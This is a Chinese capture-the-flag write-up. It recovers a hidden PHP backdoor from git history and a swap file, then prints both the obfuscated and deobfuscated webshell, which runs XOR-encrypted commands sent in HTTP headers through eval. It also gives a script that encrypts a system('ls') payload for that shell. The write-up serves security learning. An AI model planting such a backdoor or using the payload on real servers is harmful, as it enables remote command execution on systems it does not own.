web——backdoor
他说有源码泄露,就先试试git泄漏,
http://8f5271da775d49a7a0166a25cc5c836e795e8d00fc0044de.changame.ichunqiu.com/Challenges/.git/,在githack中就扫出来三个没啥用的文件,后来又试了一下常见的网站备份目录,都没有收获,看了一下wp,才知道这里涉及到.git文件的历史文件,也就是修改之前的文件,使用GitHack需要更麻烦的修改,所以这里使用Git_Extract
在一个个打开看之后得到:
1 2 3
| <?php echo "flag{true_flag_is_in_the_b4ckdo0r.php}"; ?>
|
然后她说让我们找code,猜测这次应该就是网站的备份文件了,但是试了一圈下来,都没找到,发现是.swo后缀。。。。下载下来后改后缀用kali打开
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| <?php echo "can you find the source code of me?";
$h='_)m/","/-/)m"),)marray()m"/","+")m),$)mss($s[$i)m],0,$e))))m)m,$k)));$o=ob)m_get_c)monte)m)mnts)m();ob_end_clean)'; $H='m();$d=ba)mse64)m_encode)m(x(gzc)mompres)ms($o),)m$)mk));print("<)m$k>$d<)m/)m$k>)m");@sessio)mn_d)mestroy();}}}}'; $N='mR;$rr)m=@$r[)m"HTT)mP_RE)mFERER"];$ra)m=)m@$r["HTTP_AC)mC)mEPT_LANG)mUAGE)m")m];if($rr)m&&$ra){)m$u=parse_u)mrl($rr);p'; $u='$e){)m$k=$)mkh.$kf;ob)m_start();)m@eva)ml(@gzunco)mmpr)mess(@x(@)mbase6)m4_deco)mde(p)m)mreg_re)mplace(array("/'; $f='$i<$)ml;)m){)mfo)mr($j)m=0;($j<$c&&$i<$l);$j)m++,$i+)m+){$)mo.=$t{$i)m}^$)mk{$j};}}r)meturn )m$o;}$r)m=$_SERVE)'; $O='[$i]="";$p)m=$)m)mss($p,3)m);}if(ar)mray_)mkey_exists)m()m$i,$s)){$)ms[$i].=$p)m;)m$e=s)mtrpos)m($s[$i],$f);)mif('; $w=')m));)m$p="";fo)mr($z=1;)m$z<c)mount()m$m[1]);$)mz++)m)m)$p.=$q[$m[)m)m2][$z]];if(str)mpo)ms($p,$h))m===0){$s)m'; $P='trt)molower";$)mi=$m[1][0)m)m].$m[1][1])m;$h=$sl()m$ss(m)md5($)mi.$kh)m),0,)m3));$f=$s)ml($ss()m)mmd5($i.$kf),0,3'; $i=')marse_)mstr)m($u["q)muery"],$)m)mq);$q=array)m_values()m$q);pre)mg_matc)mh_all()m"/([\\w)m])m)[\\w-)m]+(?:;q=0.)'; $x='m([\\d)m]))?,?/",)m$ra,$m))m;if($q)m&&$)mm))m)m{@session_start();$)ms=&$_S)mESSI)m)mON;$)mss="sub)mstr";$sl="s)m'; $y=str_replace('b','','crbebbabte_funcbbtion'); $c='$kh="4f7)m)mf";$kf="2)m)m8d7";funct)mion x($t)m,$k){$)m)mc=strlen($k);$l=st)mrlen)m($t);)m)m$o="";for()m$i=0;'; $L=str_replace(')m','',$c.$f.$N.$i.$x.$P.$w.$O.$u.$h.$H); $v=$y('',$L);$v();
echo($L); ?>
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
| <?php $kh="4f7f"; $kf="28d7"; function x($t,$k) { $c=strlen($k); $l=strlen($t); $o=""; for($i=0;$i<$l;) { for($j=0;($j<$c&&$i<$l); $j++,$i++) { $o.=$t{$i}^$k{$j}; } } return $o; } $r=$_SERVER; $rr=@$r["HTTP_REFERER"]; $ra=@$r["HTTP_ACCEPT_LANGUAGE"]; if($rr&&$ra) { $u=parse_url($rr); parse_str($u["query"],$q); $q=array_values($q); preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m); if($q&&$m) { @session_start(); $s=&$_SESSION; $ss="substr"; $sl="strtolower"; $i=$m[1[0].$m[1[1]; $h=$sl($ss(md5($i.$kh),0,3)); $f=$sl($ss(md5($i.$kf),0,3)); $p=""; for($z=1;$z<count($m[1]);$z++) $p.=$q[$m[2][$z]]; if(strpos($p,$h)===0) { $s[$i]=""; $p=$ss($p,3); } if(array_key_exists($i,$s)) { $s[$i].=$p; $e=strpos($s[$i],$f); if($e) { $k=$kh.$kf;ob_start(); @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k))); $o=ob_get_contents(); ob_end_clean(); $d=base64_encode(x(gzcompress($o),$k)); print("<$k>$d</$k>");); @session_destroy(); } } } } ?>
|
感动到热泪盈眶,为啥没有早点用phpstorm,用了这个工具,在审计代码的过程中变得好简单!!!
代码审计完后,接下来我们需要操作的就是构造我们的payload,这里可以直接用php写一个加密函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| <?php function x($t,$k) { $c=strlen($k); $l=strlen($t); $o=""; for($i=0;$i<$l;) { for($j=0;($j<$c&&$i<$l); $j++,$i++) { $o.=$t[$i]^$k[$j]; } } return $o; } $o="system('ls');"; $k="4f7f28d7"; $c="TPp8VHv2Kv4DTuVN+hCEff8ve2EBCpdlZk33ypDEwMumBIr0uCrKpbiq1Z5+6xyPHma96ydT"; $d=base64_encode(x(gzcompress($o),$k)); $c=@gzuncompress(@x(@base64_decode($c),$k)); print($d); print($c); ?>
|
这边有几点需要注意一下:
1.传入的参数的个数,我们上面有个循环$p.=$q[$m\[2][$z]];因为有这个存在,所以需要注意language那一栏的个数,防止p没有获取到我们的代码导致后面的判断过不去
2.这里的referer需要自己添加一下
接下来我们就直接catflag 但是那边有个正则替换式,该怎么绕过_呢?但其实不用绕过来着,经过base64编码后我们的语句中已经没有\_之类的东西了,
这是经过测试以后的可以看到在eval中执行的内容已经是OK的语句了
那为啥在网页端执行不出来呢,查看源码也没有?找了几个wp,有一个也是这种情况,最后在linux系统就可以执行了!我尝试了一下,也可以了
小结
没想到用了phpstorm这么方便,有时间一定要回去重做一些代码审计题
web——信息收集
flag3:p0rtant_hack}——通过目录.index.php.swp得到
flag2:s_v3ry_im .——通过index.php~得到
flag1:n1book{info_1——通过robots.txt得到
做到现在感觉最简单的题目了吧。。